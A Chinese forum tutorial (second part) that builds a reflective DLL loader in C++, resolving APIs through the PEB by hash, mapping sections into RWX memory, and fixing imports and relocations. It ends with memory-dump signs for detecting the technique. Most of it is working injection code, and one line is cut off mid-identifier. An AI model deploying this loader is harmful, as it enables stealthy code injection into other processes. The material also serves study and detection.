常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

Editor發表於2018-01-24

前言

上一篇帖子《常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)》中,實現了反射式注射器的Dropper,這篇帖子中,將會實現Payload——DLL檔案。個人認為,反射式DLL的精髓就在於DLL的反射載入功能。


環境

OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

語言:Visual C++

Payload:DLL的實現


原理:

將已經注入到目標程式的DLL載入到記憶體,實現LoadLibrary的功能。


步驟:

這裡我先描述下大體的流程,後面會展開。

獲取目標程式PEB,從而獲取一些需要用到的函式地址,如:VirtualAlloc。

複製PE頭,由於PE頭的形態並沒有像節一樣需要展開,所以為複製。

解析PE頭,並載入節,與2不一樣的是,這裡用的是載入,到了節這裡,已經在PE頭中的資訊指定了RVA,所以這裡要進行“載入”。

處理匯入表,獲取匯入函式的地址。

處理重定位表,由於基址和預設的載入地址不同,所以需要修改重定位表,否則,程式內的直接定址會出問題。

呼叫映象入口點,到這裡,映象已經載入完畢。

由於直接編寫DLL,直接進行反射載入,無法用VS進行除錯,所以我之前新建了一個可執行的專案,在該專案中,實現了載入的功能,後續只需將函式匯出,和變換下載入的DLL即可。


詳細步驟:

獲取DLL起始位置。


//caller功能:獲取當前指令的下一條指令的地址。

uiLibraryAddress = caller();

while (TRUE)

{

    if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)

    {

        //pe頭偏移RVA

        uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

        //判斷PE頭的正確性

        if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)

        {

            //pe頭在記憶體中的位置

            uiHeaderValue += uiLibraryAddress;

            //如果找到檔案頭就退出迴圈

            if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)

                break;

        }

    }

    uiLibraryAddress--;

}


我在除錯的可執行的Demo中,更改的。


//callAddress:在緩衝區開闢空間的起始地址,在原注入中uiLibraryAddress = caller();0x10偏移是為了模擬尋找起始地址的過程

uiLibraryAddress = callAddress + 0x10;


獲取目標程式PEB,獲取需要的函式地址,需要的函式有:VirtualAlloc(用來為映象要載入的地址分配空間)、LoadLibraryA(處理匯入表)、GetProcAddress(同上)、NtFlushInstructionCache(重新整理資料,讓CPU執行新指令)。


獲取PEB的方法:FS:[0x30]和GS:[0x60],前者為32位系統,後者為64位系統。從下面的圖中是微軟公佈的PEB的資料結構(在網路上可以找到更詳細的結構),在_PEB_LDR_DATA這個資料結構中,儲存著當前程式所載入的模組資訊,就是我們想要的,我們需要遍歷已經載入的模組,從中找到我們需要的模組,獲得以上幾個函式的地址。(會在附件中上傳詳細的PEB圖)


提示:在解析PEB的結構的時候,要注意位元組對齊的問題,以前沒有注意到結構體的這個問題,算是填了個坑。


常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)


PEB及_PEB_LDR_DA他的資料結構


常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

模組之間的關係(來自網路,侵刪)


由以上兩圖,貼出程式碼如下:


uiBaseAddress = __readgsqword(0x60);//peb結構的地址

uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;

while (uiValueA)

{

    //當前模組名地址

    uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;

    usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;

    uiValueC = 0;

    //計算模組名的hash

    do

    {

        uiValueC = ror((DWORD)uiValueC);

        // normalize to uppercase if the madule name is in lowercase

        if (*((BYTE *)uiValueB) >= 'a')

            uiValueC += *((BYTE *)uiValueB) - 0x20;

        else

        uiValueC += *((BYTE *)uiValueB);

        uiValueB++;

    } while (--usCounter);

    //獲取目標程式中的接下來需要的函式地址

    if ((DWORD)uiValueC == KERNEL32DLL_HASH)

    {

        uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

        uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

        uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

        uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);

        uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);

        usCounter = 3;

        // 找函式

        while (usCounter > 0)

        {

            dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));

            if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)

            {

                uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

                uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

                if (dwHashValue == LOADLIBRARYA_HASH)

                    pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));

                else if (dwHashValue == GETPROCADDRESS_HASH)

                    pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));

                else if (dwHashValue == VIRTUALALLOC_HASH)

                    pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_3


在上面的程式碼中,獲取函式地址的部分沒有具體寫,上一篇帖子中詳細的說明了獲取的過程,差別就是上一篇帖子中需要將RVA轉化為檔案偏移。程式碼中有一些Hash值,這種方法在shellcode中比較常見,shellcode中是為了減小空間,這裡除了這個原因,我在用IDA查詢資訊的時候並不能從字串中直接找到函式名,也許這也是一個原因。(如有錯誤,或者其他原因,歡迎指出)。


開闢緩衝區(DLL要載入到的空間),複製PE頭和節表。


uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//分配空間,首地址即為DLL載入的基地址

uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;//所有頭+節表的大小

uiValueB = uiLibraryAddress;//DLL的起始地址,即緩衝區的起始地址

uiValueC = uiBaseAddress;//dll將被載入的地址的起始地址

//複製頭和節表的資料到新開闢的緩衝區

while (uiValueA--)

    *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;


PE頭和節表可直接複製的原因:


常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

對映關係(來自網路,侵刪)


根據節表載入節。


//節表的第一項

uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

//pe中節的數量

uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;

while (uiValueE--)

{

    //節的虛擬地址

    uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);

    //節的檔案偏移地址

    uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);

    //節的大小

    uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

    //拷貝資料

    while (uiValueD--)

        *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

    //下一個節

    uiValueA += sizeof(IMAGE_SECTION_HEADER);

}


處理匯入表,匯入表的結構圖在上一篇帖子中沒有詳細畫,附件中會更新。


常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

程式碼入下:


// uiValueB :匯入表地址

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

//基地址+RVA即匯入表描述符的地址VA

uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

//連結庫名字

while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)

{

    //使用LoadLibraryA將需要的模組載入到記憶體

    uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));

    //指向INT的IMAGE_THUNK_DA他的VA

    uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);

    //要匯入IAT的IMAGE_THUNK_DATA結構體

    uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);

    // 迭代函式,如果沒有名,則獲取序號

    while (DEREF(uiValueA))

    {

                //在除錯過程中發現都是獲取的函式序號

        // sanity check uiValueD as some compilers only import by FirstThunk

        if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)

        {

            uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

            uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);

            uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));

            DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));

        }

        else

        {

            uiValueB = (uiBaseAddress + DEREF(uiValueA));

DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);

        }

        uiValueA += sizeof(ULONG_PTR);

        if (uiValueD)//INT

            uiValueD += sizeof(ULONG_PTR);

    }

    uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);

}


同樣,關於匯出表的部分沒有詳細註釋,已經在上篇帖子中有詳細的介紹。


處理重定位表,由於基址改變,所以程式中的一些直接定址等會出問題,所以要更改重定向表。


常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

接下來需要用到的重定位表的關係


程式碼如下:


//實際裝載和建議裝載的偏移,原重定位表中的值是以程式建議的裝載地址為基址

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;//程式建議的裝載地址 

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)//重定位表大小

{

    //重定位表的地址

    uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);

    while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)//重定位塊的大小

    {

        //重定位記憶體頁的起始RVA

        uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);

      //重定位塊中的項數(整個塊的大小減去結構體的大小,得到重定位項的總大小,除以每個重定位項的大小)             

        uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

        //重定位塊的第一項

        uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

        //遍歷重定位項

        while (uiValueB--)

        {

            //重定位項的高四位代表此重定位項的型別

            if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)

                *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;

            else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)

                *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;

            else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)

                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);

            else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)

                *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

            //下一個重定位項

            uiValueD += sizeof(IMAGE_RELOC);

        }

        //下一個重定位塊

        uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;

    }

}

呼叫程式入口點,使其執行DllMain,並傳遞訊息為Dll的狀態為DLL_PROCESS_ATTACH(這個訊息在上篇文章中有講到)

uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);

// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.

pNtFlushInstructionCache((HANDLE)-1, NULL, 0);

((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);//呼叫入口點

分析:

在這種的注入是實現中,很少從外部匯入函式,且使用了目標程式的部分匯入庫和函式,所以在IDA的匯入中沒有什麼有價值的資訊。不過,回憶整個流程,我們會發現這種注入有特別的地方,如獲取PEB,如圖,雙重迴圈獲取系統函式等,而且,這種注入由於需要修復的重定位表,也會使用雙重迴圈。

常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

在匯出函式中,由於在注射器中會通過匯出表來獲取反射函式的地址,所以匯出表中會有一個反射函式,且載入功能都是在反射函式中進行的。

從記憶體分佈看,由於都是新開闢的空間,且需要執行程式碼,所以許可權都為RWX,如果檢視記憶體,小的那段的開頭,一定是MZ。

常見程式注入的實現及記憶體dump分析——反射式DLL注入(下)

將小的那段記憶體dump出來,雖然大小和原DLL有稍微的不同,但直接拖到IDA是可以進行分析的,因為那段記憶體就是dll本身。

最後

全部原始碼地址:https://github.com/SudoZhange/ProcessInjection

參考

程式碼:https://github.com/stephenfewer/ReflectiveDLLInjection

《Windows PE權威指南》

《深入解析Windows作業系統》

《加密與解密》

本文由看雪論壇 sudozhange 原創  轉載請註明來自看雪社群

相關文章